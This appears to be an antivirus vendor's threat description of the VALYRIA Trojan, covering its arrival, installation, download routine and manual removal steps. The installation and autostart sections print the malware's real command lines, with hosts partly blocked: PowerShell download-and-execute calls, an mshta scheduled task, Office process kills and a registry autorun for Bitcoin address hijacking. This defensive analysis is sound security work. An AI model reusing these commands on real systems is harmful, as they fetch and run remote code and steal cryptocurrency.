Trojan.P97M.VALYRIA.YXBEE
VB:Trojan.Valyria.4513 (BITDEFENDER)
Windows

Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It downloads a file from a certain URL then renames it before storing it in the affected system.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- "%System%\WindowsPowerShell\v1.0\powershell.exe" $www='https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt';$sss= {Obfuscated code};$bbb={Obfuscated code};$hbar=I`E`X ($sss,$aaa,$bbb-Join '')|I`E`X;
- PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-1.txt') -useB);i'E'x(iwr('https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-2.txt') -useB);i'E'x(iwr('https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-3.txt') -useB)
- starts the following process:
- %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
- starts the following process:
- "%System%\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""MsHtA""\""http://{BLOCKED}1230948@getyournewblog.blogspot.com/p/7.html\"
- "%System%\taskkill.exe" /f /im Excel.exe
- "%System%\taskkill.exe" /f /im winword.exe
- "%System%\WScript.exe" "%Public%\kuchb.vbs"
- #cmd
It injects codes into the following process(es):
- %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
Autostart Technique
This Trojan adds the following registry entries to enable its automatic execution at every system startup:
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
replcia = mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKEY_CURRENT_USER:\Software).nasdnasndnad)|IEX"", 0 : window.close");
Other System Modifications
This Trojan modifies the following file(s):
- %System%\drivers\etc\hosts
(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)
It adds the following registry entries as part of its installation routine:
HKEY_CURRENT_USER\Software
nasdnasndnad = $cici=@({Obfuscated PowerShell code that performs Bitcoin address hijacking});[System.Text.Encoding]::ASCII.GetString($cici)|IEX
Download Routine
This Trojan downloads files from the following URLs then renames them before storage in the affected system:
- Short URLs of initial connection:
- http://www.j.mp/{redirection to specific resource}
- http://bit.ly/{redirection to specific resource}
- redirected to:
- https://{BLOCKED}.blogspot.com/p/{number}.html → remotely executes VBscript which establishes scheduled task and autorun key for persistence, sets the specified values in HKEY_CURRENT_USER\Software, and terminates specific MS Office applications
- redirected to:
- https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt → Connects to the following URLs which downloads files and executes kuchb.vbs
- https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_c28bcff4b4ac4d648a44cba2612ce3a6.txt → clone.vbs
- https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_d6327f9589c84101ad8724c9d6eaea23.txt → kuchb.vbs
- https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_8c96b0913b2d43038ded2f06e3ee527b.txt → batmat.bat
- Injects code that resides in the following URLs to spawned MSBuild.exe:
- https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-1.txt
- https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-2.txt
- https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-3.txt
It saves the files it downloads using the following names:
- %Public%\batman.bat → starts clone.vbs
- %Public%\kuchb.vbs → persistence for batman.bat
- %Public%\clone.vbs → disables security in infected machine
(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)
SOLUTION
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
Step 4
Deleting Scheduled Tasks
The following {Task Name} - {Task to be run} listed should be used in the steps identified below:
- Task Name: WIND0WSUPLATE
- Task to be run: \MsHtA\http://{BLOCKED}1230948@getyournewblog.blogspot.com/p/{number}.html\
For Windows 2000, Windows XP, and Windows Server 2003:
- Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
System Tools>Scheduled Tasks. - Locate each {Task Name} values listed above in the Name column.
- Right-click on the said file(s) with the aforementioned value.
- Click on Properties. In the Run field, check for the listed {Task to be run}.
- If the strings match the list above, delete the task.
For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
- Open the Windows Task Scheduler. To do this:
• On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
• On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter. - In the left panel, click Task Scheduler Library.
- In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
- In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
- If the said string is found, delete the task.
Step 5
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- replcia = mshta vbscript:Execute(CreateObject(Wscript.Shell).Run powershell ((gp HKEY_CURRENT_USER:\Software).nasdnasndnad)|IEX, 0 : window.close);
- replcia = mshta vbscript:Execute(CreateObject(Wscript.Shell).Run powershell ((gp HKEY_CURRENT_USER:\Software).nasdnasndnad)|IEX, 0 : window.close);
- In HKEY_CURRENT_USER\Software
- nasdnasndnad = $cici @({Obfuscated powershell code that performs bitcoin address hijacking});[System.Text.Encoding]::ASCII.GetString($cici)|IEX
- nasdnasndnad = $cici @({Obfuscated powershell code that performs bitcoin address hijacking});[System.Text.Encoding]::ASCII.GetString($cici)|IEX
Step 6
Search and delete these files
- %Public%\batman.bat
- %Public%\kuchb.vbs
- %Public%\clone.vbs
Step 7
Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.P97M.VALYRIA.YXBEE. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Step 8
Restore this file from backup only Microsoft-related files will be restored. If this malware/grayware also deleted files related to programs that are not from Microsoft, please reinstall those programs on you computer again.
- %System%\drivers\etc\hosts
Did this description help? Tell us how we did.